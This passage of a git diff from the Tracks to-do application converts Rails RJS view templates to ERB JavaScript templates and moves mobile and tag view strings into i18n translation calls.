"#{error_messages_for('todo', :object_name => 'action')}" -end diff --git a/app/views/todos/create_multiple.js.erb b/app/views/todos/create_multiple.js.erb new file mode 100644 index 00000000..ac0b7877 --- /dev/null +++ b/app/views/todos/create_multiple.js.erb @@ -0,0 +1,78 @@ +<% if @saved -%> + set_notification(); + hide_empty_message(); + TracksPages.hide_errors(); + TracksPages.set_page_badge(<%= @down_count %>); + <% if should_show_new_item -%> + <% if @new_context_created -%> + insert_new_context_with_new_todo(); + <% else -%> + add_todo_to_existing_context(); + <% end -%> + <% end -%> + clear_form(); +<% else -%> + TracksPages.show_errors_for_multi_add(html_for_error_messages()); +<% end -%> + +<% if @saved + # the following functions assume a todo is saved or at least not nil, + # so leave them out in case of an error +-%> + +function set_notification() { + TracksPages.page_notify('notice', "<%=@status_message%>", 5); +} + +function clear_form() { + $('#todo-form-multi-new-action').clearForm(); + TracksForm.set_context_name_for_multi_add('<%=@initial_context_name%>'); + TracksForm.set_project_name_for_multi_add('<%=@initial_project_name%>'); + TracksForm.set_tag_list_for_multi_add('<%=@default_tags%>'); + $('#todo-form-multi-new-action input:text:first').focus(); +} + +function insert_new_context_with_new_todo() { + $('#display_box').prepend(html_for_new_context()); +} + +function hide_empty_message() { + $('#<%=empty_container_msg_div_id%>').hide(); + <% if (source_view_is :project and @todo.pending?) or (source_view_is :deferred) -%> + $('#tickler-empty-nd').hide(); + <% end -%> +} + +function add_todo_to_existing_context() { + <% if source_view_is_one_of(:todo, :deferred, :tag) -%> + TodoItemsContainer.ensureVisibleWithEffectAppear("c<%=@todo.context_id%>"); + <% end + show = should_show_new_item # to hide html if not necessary + @todos.each do |todo| + html = show ? escape_javascript(render(:partial => todo, :locals => { :parent_container_type => parent_container_type, :source_view => @source_view })) : "" -%> + $('#<%=item_container_id(todo)%>').append('<%= html %>'); + $('#<%= dom_id(todo)%>').effect('highlight', {}, 3000); + <% end %> +} + +function html_for_new_context() { + return "<%= @saved && @new_context_created ? escape_javascript(render(:partial => @todo.context, :locals => { :collapsible => true })) : "" %>"; +} + +<% else # if @saved -%> + +function html_for_error_messages() { + <% + # add error about missing todo description that is not available in @todos + @multiple_error = content_tag(:div, content_tag(:p, @multiple_error), {:class => 'errorExplanation', :id => 'errorExplanation'}) unless @multiple_error.blank? + error_messages = @multiple_error || "" + # add errors of individual @todos + @todos.each do |todo| + @todo_i = todo + error_messages += error_messages_for('todo_i', :object_name => 'action') + end + -%> + return "<%= escape_javascript(error_messages)%>"; +} + +<% end # if @saved -%> \ No newline at end of file diff --git a/app/views/todos/create_multiple.js.rjs b/app/views/todos/create_multiple.js.rjs deleted file mode 100644 index 46146a9c..00000000 --- a/app/views/todos/create_multiple.js.rjs +++ /dev/null @@ -1,50 +0,0 @@ -if @saved - page.hide 'multiple_status' - - status_message = 'Added new next action' - status_message += 's' if @todos.size > 1 - status_message = 'Added new project / ' + status_message if @new_project_created - status_message = 'Added new context / ' + status_message if @new_context_created - page.notify :notice, status_message, 5.0 - - page['badge_count'].replace_html @down_count - - # reset form and set focus to first field - page.send :record, "$('#todo-form-multi-new-action').clearForm();$('#todo-form-multi-new-action input:text:first').focus();" - - # set defaults of form - page.send :record, "$('#multi_todo_context_name').val('#{@initial_context_name}');" - page.send :record, "$('#multi_todo_project_name').val('#{@initial_project_name}');" - page.send :record, "$('#multi_tag_list').val('#{@default_tags}');" - - if should_show_new_item() - if @new_context_created - page.insert_html :top, 'display_box', :partial => 'contexts/context', :locals => { :context => @todo.context, :collapsible => true } - else - page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@todo.context_id}" if source_view_is_one_of(:todo, :deferred, :tag) - - @todos.each do |todo| - page.insert_html :bottom, item_container_id(todo), :partial => 'todos/todo', :locals => { :todo => todo, :parent_container_type => parent_container_type, :source_view => @source_view } - page.visual_effect :highlight, dom_id(todo), :duration => 3 - end - - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - end - if (source_view_is :project and @todo.pending?) or (source_view_is :deferred) - page['tickler-empty-nd'].hide # For some reason this does not work: page['tickler-empty-nd'].hide if (@todo.pending? or (source_view_is :deferred)) - end - end - # make sure the behavior of the new/updated todo is enabled - page << "enable_rich_interaction();" -else - page.show 'multiple_status' - # add error about missing todo description that is not available in @todos - @multiple_error = content_tag(:div, content_tag(:p, @multiple_error), {:class => 'errorExplanation', :id => 'errorExplanation'}) unless @multiple_error.blank? - error_messages = @multiple_error || "" - # add errors of individual @todos - @todos.each do |todo| - @todo_i = todo - error_messages += error_messages_for('todo_i', :object_name => 'action') - end - page.replace_html 'multiple_status', error_messages -end \ No newline at end of file diff --git a/app/views/todos/destroy.js.erb b/app/views/todos/destroy.js.erb new file mode 100644 index 00000000..c511f172 --- /dev/null +++ b/app/views/todos/destroy.js.erb @@ -0,0 +1,78 @@ +<%- if @saved -%> + TracksPages.page_notify('notice', '<%= escape_javascript("The action was deleted succesfully") %>', 5); + TracksPages.set_page_badge(<%=@down_count%>); + remove_todo_from_page(); + show_new_todo_if_todo_was_recurring(); + activate_pending_todos(); + show_empty_messages(); +<%- else -%> + TracksPages.page_notify('error', "<%= t('todos.error_deleting_item', :description => @todo.description) %>", 8); +<%- end -%> + +<% if @saved + # do not send the js in case of an error +-%> + +function show_empty_messages() { + <% if @old_due_empty -%> + $('#empty_<%=@original_item_due_id%>').slideDown(1000); + <% end -%> + + <% if empty_container_msg_div_id && todo_container_is_empty -%> + $('#<%=empty_container_msg_div_id%>').slideDown(1000); + <% end -%> + + <% if source_view_is(:deferred) && @down_count==0 -%> + $('#tickler-empty-nd').slideDown(100); + <% end -%> +} + +function remove_todo_from_page() { + <% if (@remaining_in_context == 0) + # remove context with deleted todo + -%> + $('#c<%=@todo.context_id%>').fadeOut(1000, function() { + $('#<%=dom_id(@todo)%>').remove(); + }); + <% else + # remove only the todo + -%> + $('#<%=dom_id(@todo)%>').slideUp(1000, function() { + $('#<%=dom_id(@todo)%>').remove(); + }); + <% end -%> +} + +function show_new_todo_if_todo_was_recurring() { + <% if @todo.from_recurring_todo? -%> + <% unless @new_recurring_todo.nil? || @new_recurring_todo.deferred? -%> + TodoItemsContainer.ensureVisibleWithEffectAppear("<%=item_container_id(@new_recurring_todo)%>"); + $('#<%=item_container_id(@new_recurring_todo)%>').append(html_for_new_recurring_todo()); + $('#<%= dom_id(@new_recurring_todo, 'line')%>').effect('highlight', {}, 2000 ); + TracksPages.page_notify('notice', "<%=t('todos.recurring_action_deleted')%>", 5); + <% else -%> + <% if @todo.recurring_todo.todos.active.count == 0 && @new_recurring_todo.nil? -%> + TracksPages.page_notify('notice', "<%=t('todos.completed_recurrence_completed')%>", 5); + <% end -%> + <% end -%> + <% end -%> +} + +function activate_pending_todos() { + <% # Activate pending todos that are successors of the deleted -%> + <% @pending_to_activate.each do |t| -%> + <% if source_view_is(:project) or source_view_is(:tag) %> + $('#<%=dom_id(t)%>').remove(); + <% end -%> + $('#<%=item_container_id(t)%>').append("<%=escape_javascript(render(:partial => t, :locals => { :parent_container_type => parent_container_type }))%>"); + $('#<%= dom_id(t, 'line')%>').effect('highlight', {}, 2000 ); + <% end -%> +} + +function html_for_new_recurring_todo() { + return "<%= @saved && @new_recurring_todo ? escape_javascript(render(:partial => @new_recurring_todo, :locals => { :parent_container_type => parent_container_type })) : "" %>"; +} + +<% end + # if @saved +-%> \ No newline at end of file diff --git a/app/views/todos/destroy.js.rjs b/app/views/todos/destroy.js.rjs deleted file mode 100644 index f4e19622..00000000 --- a/app/views/todos/destroy.js.rjs +++ /dev/null @@ -1,36 +0,0 @@ -if @saved - page[@todo].remove - page.show "empty_"+@original_item_due_id if @old_due_empty - page['badge_count'].replace_html @down_count - - # remove context if empty - page.visual_effect(:fade, "c#{@todo.context_id}", :duration => 0.4) if (@remaining_in_context == 0) - - # show message if there are no actions - page[empty_container_msg_div_id].show if !empty_container_msg_div_id.nil? && @down_count == 0 - page['tickler-empty-nd'].show if source_view_is(:deferred) && @down_count == 0 - - # show new todo if the completed todo was recurring - if @todo.from_recurring_todo? - unless @new_recurring_todo.nil? || @new_recurring_todo.deferred? - page.call "todoItems.ensureVisibleWithEffectAppear", item_container_id(@new_recurring_todo) - page.insert_html :bottom, item_container_id(@new_recurring_todo), :partial => 'todos/todo', :locals => { :todo => @new_recurring_todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@new_recurring_todo, 'line'), {'startcolor' => "'#99ff99'"} - page.notify :notice, "Action was deleted. Because this action is recurring, a new action was added", 6.0 - else - if @todo.recurring_todo.todos.active.count == 0 - page.notify :notice, "There is no next action after the recurring action you just deleted. The recurrence is completed", 6.0 if @new_recurring_todo.nil? - end - end - end - - # Activate pending todos that are successors of the deleted - @pending_to_activate.each do |t| - logger.debug "#300: Removing #{t.description} from pending block and adding it to active" - page[t].remove if source_view_is(:project) or source_view_is(:tag) - page.insert_html :bottom, item_container_id(t), :partial => 'todos/todo', :locals => { :todo => t, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(t, 'line'), {'startcolor' => "'#99ff99'", :duration => 2} - end -else - page.notify :error, "There was an error deleting the item #{@todo.description}", 8.0 -end diff --git a/app/views/todos/edit.js.erb b/app/views/todos/edit.js.erb new file mode 100644 index 00000000..64c0d0c4 --- /dev/null +++ b/app/views/todos/edit.js.erb @@ -0,0 +1,19 @@ +hide_todo(); +replace_placeholder_with_form(); +enable_rich_interaction(); + +function hide_todo() { + $('#<%= dom_id(@todo, 'line') %>').hide(); +} + +function replace_placeholder_with_form() { + $('#<%=dom_id(@todo, 'edit')%>').html(html_for_edit_form()); + $('#<%=dom_id(@todo, 'edit')%>').show(); + $('#<%=dom_id(@todo, 'form')%> input#todo_description').focus(); +} + +function html_for_edit_form() { + return "<%= escape_javascript(render(:partial => 'todos/edit_form', :object => @todo)) %>" +} + + diff --git a/app/views/todos/edit.js.rjs b/app/views/todos/edit.js.rjs deleted file mode 100644 index 55c57c34..00000000 --- a/app/views/todos/edit.js.rjs +++ /dev/null @@ -1,5 +0,0 @@ -page[dom_id(@todo, 'form')].find('.placeholder').show().replace_html :partial => 'todos/edit_form' -page[dom_id(@todo, 'edit')].show -page[dom_id(@todo, 'line')].hide -page[dom_id(@todo, 'form')].find('input#todo_description').show().focus -page << "enable_rich_interaction();" \ No newline at end of file diff --git a/app/views/todos/error.js.erb b/app/views/todos/error.js.erb new file mode 100644 index 00000000..71036e4d --- /dev/null +++ b/app/views/todos/error.js.erb @@ -0,0 +1,4 @@ +<% +# TODO: is this ever called? +-%> +TracksPages.page_notify('error', "<%=@error_message || t('common.server_error')%>", 8); diff --git a/app/views/todos/error.js.rjs b/app/views/todos/error.js.rjs deleted file mode 100644 index 4f82b3e4..00000000 --- a/app/views/todos/error.js.rjs +++ /dev/null @@ -1 +0,0 @@ -page.notify :error, @error_message || "An error occurred on the server.", 8.0 \ No newline at end of file diff --git a/app/views/todos/index.html.erb b/app/views/todos/index.html.erb index 92694508..41060304 100644 --- a/app/views/todos/index.html.erb +++ b/app/views/todos/index.html.erb @@ -1,16 +1,16 @@
    - - <%= render :partial => "contexts/context", :collection => @contexts_to_show, - :locals => { :collapsible => true } %> + <%= render( + :partial => "contexts/context", + :collection => @contexts_to_show, + :locals => { :collapsible => true }) -%> <% unless @done.nil? -%> - <%= render :partial => "todos/completed", - :locals => { :done => @done, :collapsible => true, :append_descriptor => nil } %> + <%= render( + :partial => "todos/completed", + :object => @done, + :locals => { :collapsible => true, :append_descriptor => nil }) -%> <% end -%>
    -
    <%= render :partial => "shared/add_new_item_form" %> - <%- # TODO: this used to be render :template, but somehow it was not - #rendered after the rails2.2.2 upgrade -%> <%= render :file => "sidebar/sidebar.html.erb" %>
    \ No newline at end of file diff --git a/app/views/todos/list_deferred.html.erb b/app/views/todos/list_deferred.html.erb index 039aa7c8..5e0b27dc 100644 --- a/app/views/todos/list_deferred.html.erb +++ b/app/views/todos/list_deferred.html.erb @@ -1,7 +1,7 @@
    -

    Currently there are no deferred actions.

    +

    <%= t('todos.no_deferred_actions') %>

    <%= render :partial => "contexts/context", :collection => @contexts, diff --git a/app/views/todos/mobile_list_deferred.rhtml b/app/views/todos/mobile_list_deferred.rhtml index 4c04a2e3..dd02c9b4 100644 --- a/app/views/todos/mobile_list_deferred.rhtml +++ b/app/views/todos/mobile_list_deferred.rhtml @@ -1,5 +1,5 @@ <% if @count == 0 -%> -

    Currently there are no deferred actions.

    +

    <%= t('todos.no_deferred_actions') %>

    <% end -%> <%= render :partial => "contexts/mobile_context", :collection => @contexts, :locals => { :collapsible => true } -%> \ No newline at end of file diff --git a/app/views/todos/mobile_show_notes.rhtml b/app/views/todos/mobile_show_notes.rhtml index 58281343..d6da7c17 100644 --- a/app/views/todos/mobile_show_notes.rhtml +++ b/app/views/todos/mobile_show_notes.rhtml @@ -1,5 +1,5 @@ -

    Next action description (<%= link_to "Go back", @return_path %>)

    -<%= link_to @todo.description, todo_path(@todo, :format => 'm') -%> -

    Notes

    +

    <%= t('todos.next_action_description') + " (" + link_to(t('common.go_back'), @return_path) %>)

    +<%= link_to @todo.description, todo_path(@todo, :format => 'm') -%> +

    <%= t('todos.notes') %>

    <%= format_note(@todo.notes) %> -<%= link_to "Back", @return_path %> \ No newline at end of file +<%= link_to t('common.back'), @return_path %> \ No newline at end of file diff --git a/app/views/todos/mobile_tag.rhtml b/app/views/todos/mobile_tag.rhtml index 0fb66f82..caec6232 100644 --- a/app/views/todos/mobile_tag.rhtml +++ b/app/views/todos/mobile_tag.rhtml @@ -1,25 +1,25 @@
    <% if @not_done_todos.empty? -%>
    -

    No actions found

    -
    Currently there are no incomplete actions with the tag '<%= @tag_name %>'
    +

    <%= t('todos.no_actions_found') %>

    +
    <%= t('todos.no_actions_with', :tag_name => @tag_name) %>
    <% end -%> <%= render :partial => "contexts/mobile_context", :collection => @contexts_to_show -%> -

    Deferred actions with the tag <%= @tag_name %>

    +

    <%= t('todos.deferred_actions_with', :tag_name=> @tag_name) %>

    <% unless (@deferred.nil? or @deferred.size == 0) -%> <%= render :partial => "todos/mobile_todo", :collection => @deferred, :locals => { :parent_container_type => "tag" } -%>
    <% else -%> -No deferred actions with the tag <%= @tag_name %> +<%= t('todos.no_deferred_actions_with', :tag_name => @tag_name) %> <% end -%> -

    Completed actions with the tag <%= @tag_name %>

    +

    <%= t('todos.completed_actions_with', :tag_name => @tag_name) %>

    <% unless (@done.nil? or @done.size == 0) -%> <%= render :partial => "todos/mobile_todo", :collection => @done, :locals => { :parent_container_type => "tag" } %>
    <% else -%> -No completed actions with the tag <%= @tag_name %> +<%= t('todos.no_completed_actions_with', :tag_name => @tag_name) %> <% end -%>
    \ No newline at end of file diff --git a/app/views/todos/new.m.erb b/app/views/todos/new.m.erb index 1e1e4ea7..44da0853 100644 --- a/app/views/todos/new.m.erb +++ b/app/views/todos/new.m.erb @@ -1,5 +1,5 @@ <% form_tag todos_path(:format => 'm'), :method => :post do %> <%= render :partial => 'edit_mobile' %> -

    +

    <% end -%> -<%= link_to "Back", @return_path %> +<%= link_to t('common.back'), @return_path %> diff --git a/app/views/todos/remove_predecessor.js.erb b/app/views/todos/remove_predecessor.js.erb new file mode 100644 index 00000000..85ea8fa5 --- /dev/null +++ b/app/views/todos/remove_predecessor.js.erb @@ -0,0 +1,63 @@ +<% # TODO: lots of overlap with add_predecessor --> helpers? + if @removed -%> + TracksPages.page_notify('notice', "<%= t('todos.removed_predecessor', :successor => @successor.description, :predecessor => @predecessor.description) %>", 8); + + replace_updated_predecessor(); + regenerate_predecessor_family(); + update_successor(); +<% else -%> + TracksPages.page_notify('error', "<%=t('todos.error_removing_dependency')%>", 8); +<% end -%> + +function replace_updated_predecessor() { + $('#<%= dom_id(@predecessor) %>').html( html_for_predecessor() ); +} + +function regenerate_predecessor_family() { +<% + parents = @predecessor.predecessors + until parents.empty? + parent = parents.pop + parents += parent.predecessors -%> + $('#<%= dom_id(parent) %>').html("<%= escape_javascript(render(:partial => parent, :locals => { :parent_container_type => parent_container_type })) %>"); +<%end -%> +} + +function update_successor() { + <% + if @successor.active? -%> + <%= "remove_successor();" unless source_view_is_one_of(:todo, :context) %> + <%= "hide_empty_message();" unless empty_container_msg_div_id.nil? %> + <%= "show_empty_deferred_message(); " if @remaining_deferred_or_pending_count == 0 %> + <% if source_view_is_one_of(:todo, :deferred, :tag) -%> + $('#c<%= @successor.context_id %>').fadeIn(500, function() {}); + $('#no_todos_in_tag_view').slideUp(100); + <% end -%> + $('#<%=item_container_id(@successor)%>').append(html_for_new_successor()); + $('#<%= dom_id(@successor, 'line')%>').effect('highlight', {}, 2000 ); <% + elsif @successor.deferred? -%> + $('#<%= dom_id(@successor)%>').html(html_for_new_successor()); <% + end + %> +} + +function hide_empty_message() { + $('#<%=empty_container_msg_div_id%>').hide(); +} + +function show_empty_deferred_message() { + $('#tickler-empty-nd').slideDown(100); +} +function remove_successor() { + <% # TODO: last todo in context --> remove context?? + -%> + $('#<%=dom_id(@successor)%>').remove(); +} + +function html_for_predecessor() { + return "<%= @removed ? escape_javascript(render(:partial => @predecessor, :locals => { :parent_container_type => parent_container_type })) : "" %>"; +} + +function html_for_new_successor() { + return "<%= @removed ? escape_javascript(render(:partial => @successor, :locals => { :parent_container_type => parent_container_type })) : "" %>"; +} \ No newline at end of file diff --git a/app/views/todos/remove_predecessor.js.rjs b/app/views/todos/remove_predecessor.js.rjs deleted file mode 100644 index 07c89a84..00000000 --- a/app/views/todos/remove_predecessor.js.rjs +++ /dev/null @@ -1,35 +0,0 @@ -if @removed - status_message = "Removed #{@successor.description} as dependency from #{@predecessor.description}." - page.notify :notice, status_message, 5.0 - - # replace old predecessor with one without the successor - page.replace dom_id(@predecessor), :partial => 'todos/todo', :locals => { - :todo => @predecessor, :parent_container_type => parent_container_type } - - # regenerate predecessor family - parents = @predecessor.predecessors - until parents.empty? - parent = parents.pop - parents += parent.predecessors - page[parent].replace_html :partial => 'todos/todo', :locals => { :todo => parent, :parent_container_type => parent_container_type } - end - - # update display if pending->active - if @successor.active? - page[@successor].remove unless source_view_is_one_of(:todo, :context) - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? - page.call "todoItems.ensureVisibleWithEffectAppear", "c#{@successor.context_id}" - page.insert_html :bottom, item_container_id(@successor), :partial => 'todos/todo', :locals => { - :todo => @successor, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@successor, 'line'), {'startcolor' => "'#99ff99'"} - end - - # update display if pending->deferred - if @successor.deferred? - page.replace dom_id(@successor), :partial => 'todos/todo', :locals => { - :todo => @successor, :parent_container_type => parent_container_type } - end - page << "enable_rich_interaction();" -else - page.notify :error, "There was an error removing the dependency", 8.0 -end diff --git a/app/views/todos/show.m.erb b/app/views/todos/show.m.erb index e8105669..58d424f7 100644 --- a/app/views/todos/show.m.erb +++ b/app/views/todos/show.m.erb @@ -1,5 +1,5 @@ <% form_tag todo_path(@todo, :format => 'm'), :method => :put do %> <%= render :partial => 'edit_mobile', :locals => { :parent_container_type => "show_mobile" } %> -

    +

    <% end -%> -<%= link_to "Cancel", @return_path %> +<%= link_to t('common.cancel'), @return_path %> diff --git a/app/views/todos/tag.html.erb b/app/views/todos/tag.html.erb index 7804c9b9..f0886bb2 100644 --- a/app/views/todos/tag.html.erb +++ b/app/views/todos/tag.html.erb @@ -1,7 +1,7 @@
    -
    > -

    No actions found

    -

    Currently there are no incomplete actions with the tag '<%= @tag_name %>'

    +
    > +

    <%= t('todos.no_actions_found')%>

    +

    <%= t('todos.no_actions_with', :tag_name=>@tag_name) %>

    <%= render :partial => "contexts/context", :collection => @contexts_to_show, @@ -12,18 +12,18 @@ :deferred => @deferred, :pending => @pending, :collapsible => true, - :append_descriptor => "tagged with ‘#{@tag_name}’", + :append_descriptor => t('todos.tagged_with', :tag_name => @tag_name), :parent_container_type => 'tag' } %> <% end -%> <% unless @hidden_todos.nil? -%> - <%= render :partial => "todos/hidden", :locals => { :hidden => @hidden_todos, :collapsible => true, :append_descriptor => "tagged with ‘#{@tag_name}’" } %> + <%= render :partial => "todos/hidden", :object => @hidden_todos, :locals => { :collapsible => true, :append_descriptor => t('todos.tagged_with', :tag_name => @tag_name) } %> <% end -%> <% unless @done.nil? -%> - <%= render :partial => "todos/completed", - :locals => { :done => @done, :collapsible => true, :append_descriptor => "tagged with ‘#{@tag_name}’" } %> + <%= render :partial => "todos/completed", :object => @done, + :locals => { :collapsible => true, :append_descriptor => t('todos.tagged_with', :tag_name => @tag_name) } %> <% end -%>
    diff --git a/app/views/todos/toggle_check.js.erb b/app/views/todos/toggle_check.js.erb new file mode 100644 index 00000000..fe277420 --- /dev/null +++ b/app/views/todos/toggle_check.js.erb @@ -0,0 +1,164 @@ +<% if !@saved -%> + TracksPages.page_notify('error', "Could not mark this todo complete", 5); +<% else -%> + <% if @wants_redirect_after_complete && @todo.completed? -%> + redirect_after_complete(); + <% else + animation = [] + animation << "remove_todo" + if @todo.completed? + animation << "add_to_completed_container" + animation << "add_new_recurring_todo" + animation << "activate_pending_todos" + animation << "remove_source_container" + else + animation << "add_todo_to_context" + animation << "block_predecessors" + end + animation << "update_empty_tag_container" if source_view_is(:tag) -%> + <%= render_animation(animation) %> + TracksPages.set_page_badge(<%= @down_count %>); + <% end -%> +<% end -%> + +function redirect_after_complete() { + redirect_to("<%= project_path(@todo.project) -%>"); +} + +function remove_todo(next_steps) { + <% if (@remaining_in_context == 0) && update_needs_to_hide_context + # remove context with deleted todo + -%> + $('#c<%=@todo.context_id%>').fadeOut(400, function() { + $('#<%=dom_id(@todo)%>').remove(); + next_steps.go(); + }); + <%= show_empty_message_in_source_container -%> + <% else + # remove only the todo + -%> + <%= show_empty_message_in_source_container %> + $('#<%=dom_id(@todo)%>').slideUp(400, function() { + $('#<%=dom_id(@todo)%>').remove(); + next_steps.go(); + }); + <% end -%> +} + +function add_to_completed_container(next_steps) { + <% unless current_user.prefs.hide_completed_actions? -%> + $('#<%= item_container_id(@todo) %>').append(html_for_todo()); + $("#empty-d").slideUp(100); + highlight_updated_todo(next_steps); + <% end -%> +} + +function add_todo_to_context(next_steps) { + $('#<%= item_container_id(@todo) %>').append(html_for_todo()); + <% if should_make_context_visible -%> + $('#c<%= @todo.context_id %>').fadeIn(500, function() { + $("#<%= empty_container_msg_div_id %>").slideUp(100); + highlight_updated_todo(next_steps); + }); + <% else -%> + $("#<%= empty_container_msg_div_id(@todo) %>").slideUp(100); + highlight_updated_todo(next_steps); + <% end -%> +} + +function add_new_recurring_todo(next_steps) { + <% # show new todo if the completed todo was recurring + if @todo.from_recurring_todo? + unless @new_recurring_todo.nil? || @new_recurring_todo.deferred? -%> + $('#<%= item_container_id(@new_recurring_todo) %>').append(html_for_recurring_todo()); + $('#c<%= @new_recurring_todo.context_id %>').fadeIn(500, function() { + highlight_updated_recurring_todo(next_steps); + }); + <% else + if @todo.recurring_todo.todos.active.count == 0 && @new_recurring_todo.nil? -%> + TracksPages.page_notify('notice', "<%=t('todos.recurrence_completed')%>", 6); + <% end -%> + next_steps.go(); + <% end + else -%> + next_steps.go(); + <% end -%> +} + +function update_empty_tag_container(next_steps) { + <% if @down_count==0 -%> + $('#no_todos_in_tag_view').slideDown(400, function(){ next_steps.go(); }); + <% else -%> + $('#no_todos_in_tag_view').fadeOut(100, function(){ next_steps.go(); }); + <% end -%> +} + +<% if @new_recurring_todo # hide js if @new_recurring_todo is not there-%> +function highlight_updated_recurring_todo(next_steps) { + highlight_todo('#<%= dom_id(@new_recurring_todo)%>'); + next_steps.go(); +} +<% end -%> + +function highlight_updated_todo(next_steps) { + highlight_todo('#<%= dom_id(@todo)%>'); + next_steps.go(); +} + +function highlight_todo(id) { + $(id).effect('highlight', {}, 2000, function(){ }); +} + +function activate_pending_todos(next_steps) { + <% # Activate pending todos that are successors of the completed + if @saved && @pending_to_activate + # do not render the js in case of an error or if no todos to activate + @pending_to_activate.each do |t| + if source_view_is_one_of(:project,:tag) -%> + $('#<%= dom_id(t) %>').fadeOut(400, function() { + $('#<%= dom_id(t) %>').remove(); + }); + <% end -%> + $('#<%= item_container_id(t) %>').append("<%= escape_javascript(render(:partial => t, :locals => { :parent_container_type => parent_container_type }))%>"); + highlight_todo('#<%= dom_id(t)%>'); + <% end -%> + <% end -%> + next_steps.go(); +} + +function block_predecessors(next_steps) { + <% # Activate pending todos that are successors of the completed + if @saved && @active_to_block + # do not render the js in case of an error or if no todos to block + @active_to_block.each do |t| %> + $('#<%= dom_id(t) %>').fadeOut(400, function() { + $('#<%= dom_id(t) %>').remove(); + <% if source_view_is(:project) or source_view_is(:tag) # Insert it in deferred/pending block if existing -%> + $('#<%= item_container_id(t) %>').append("<%= escape_javascript(render(:partial => t, :locals => { :parent_container_type => parent_container_type }))%>"); + highlight_todo('#<%= dom_id(t)%>'); + <% end -%> + }); + <% end -%> + <% end -%> + next_steps.go(); +} + +function remove_source_container(next_steps) { + <% if (@remaining_in_context == 0 && source_view_is_one_of(:todo, :tag)) + # remove context with deleted todo + -%> + $('#c<%=@todo.context_id%>').fadeOut(1000, function() { + next_steps.go(); + }); + <% else %> + next_steps.go(); + <% end %> +} + +function html_for_todo() { + return "<%= @saved ? escape_javascript(render(:partial => @todo, :locals => { :parent_container_type => "completed" })) : "" %>"; +} + +function html_for_recurring_todo() { + return "<%= @saved ? escape_javascript(render(:partial => @new_recurring_todo, :locals => { :parent_container_type => parent_container_type })) : "" %>"; +} \ No newline at end of file diff --git a/app/views/todos/toggle_check.js.rjs b/app/views/todos/toggle_check.js.rjs deleted file mode 100644 index b1e24e29..00000000 --- a/app/views/todos/toggle_check.js.rjs +++ /dev/null @@ -1,72 +0,0 @@ -if @saved - page[@todo].remove - page.show "empty_"+@original_item_due_id if @old_due_empty - if @todo.completed? - - # completed todos move from their context to the completed container - unless @prefs.hide_completed_actions? - page.insert_html :top, "completed_containeritems", :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => "completed" } - page.visual_effect :highlight, dom_id(@todo, 'line'), {'startcolor' => "'#99ff99'"} - page[empty_container_msg_div_id].show if @down_count == 0 && !empty_container_msg_div_id.nil? - page.show 'tickler-empty-nd' if source_view_is(:project) && @deferred_count == 0 && @pending_count == 0 - page.hide 'empty-d' # If we've checked something as done, completed items can't be empty - end - # Activate pending todos that are successors of the completed - @pending_to_activate.each do |t| - logger.debug "#300: Removing #{t.description} from pending block and adding it to active" - page[t].remove if source_view_is(:project) or source_view_is(:tag) - page.insert_html :bottom, item_container_id(t), :partial => 'todos/todo', :locals => { :todo => t, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(t, 'line'), {'startcolor' => "'#99ff99'"} - end - - # remove container if empty - if @remaining_in_context == 0 && source_view_is_one_of(:todo, :tag) - page.visual_effect :fade, "c"+@todo.context.id.to_s, :duration => 0.4 - end - - if @original_item_was_deferred && source_view_is(:tag) - # we go from the deferred container to the completed container in tag view - # check for empty message - page['tickler-empty-nd'].show if @deferred_tag_count == 0 - end - - # show new todo if the completed todo was recurring - if @todo.from_recurring_todo? - unless @new_recurring_todo.nil? || @new_recurring_todo.deferred? - page.call "todoItems.ensureVisibleWithEffectAppear", item_container_id(@new_recurring_todo) - page.insert_html :bottom, item_container_id(@new_recurring_todo), :partial => 'todos/todo', :locals => { :todo => @new_recurring_todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@new_recurring_todo, 'line'), {'startcolor' => "'#99ff99'"} - else - if @todo.recurring_todo.todos.active.count == 0 - page.notify :notice, "There is no next action after the recurring action you just finished. The recurrence is completed", 6.0 if @new_recurring_todo.nil? - end - end - end - - else - # todo is activated from completed container - page.call "todoItems.ensureVisibleWithEffectAppear", item_container_id(@todo) - page.insert_html :bottom, item_container_id(@todo), :partial => 'todos/todo', :locals => { :todo => @todo, :parent_container_type => parent_container_type } - page.visual_effect :highlight, dom_id(@todo, 'line'), {'startcolor' => "'#99ff99'"} - page.show "empty-d" if @completed_count == 0 - page.show "c"+@todo.context.id.to_s - page[empty_container_msg_div_id].hide unless empty_container_msg_div_id.nil? # If we've checked something as undone, incomplete items can't be empty - # If active todos are successors of the reactivated todo they will be blocked - @active_to_block.each do |t| - logger.debug "#300: Block #{t.description} that are a successor of #{@todo.description}" - page[t].remove # Remove it from active - if source_view_is(:project) or source_view_is(:tag) # Insert it in deferred/pending block if existing - logger.debug "Insert #{t.description} in #{item_container_id(t)} block" - page.insert_html :bottom, item_container_id(t), :partial => 'todos/todo', :locals => { :todo => t, :parent_container_type => parent_container_type } - end - end - end - - page.hide "status" - page.replace_html "badge_count", @down_count - if @todo.completed? && !@todo.project_id.nil? && @prefs.show_project_on_todo_done && !source_view_is(:project) - page.redirect_to project_path(@todo.project_id) - end -else - page.replace_html "status", content_tag("div", content_tag("h2", "#{pluralize(@todo.errors.count, "error")} prohibited this action from being saved") + content_tag("p", "There were problems with the following fields:") + content_tag("ul", @todo.errors.each_full { |msg| content_tag("li", msg) }), "id" => "errorExplanation", "class" => "errorExplanation") -end diff --git a/app/views/todos/toggle_star.js.erb b/app/views/todos/toggle_star.js.erb index 0787920d..9ec02520 100644 --- a/app/views/todos/toggle_star.js.erb +++ b/app/views/todos/toggle_star.js.erb @@ -1,3 +1,5 @@ -<% if @saved -%> +<%- if @saved -%> $('div#line_todo_<%= @todo.id %> a.star_item img').toggleClass('starred_todo').toggleClass('unstarred_todo'); -<% end -%> +<%- else -%> + TracksPages.page_notify('error', '<%= t('todos.error_starring', :description => @todo.description) %>', 8); +<%- end -%> diff --git a/app/views/todos/update.js.erb b/app/views/todos/update.js.erb new file mode 100644 index 00000000..adb412b3 --- /dev/null +++ b/app/views/todos/update.js.erb @@ -0,0 +1,120 @@ +<% if !@saved -%> + 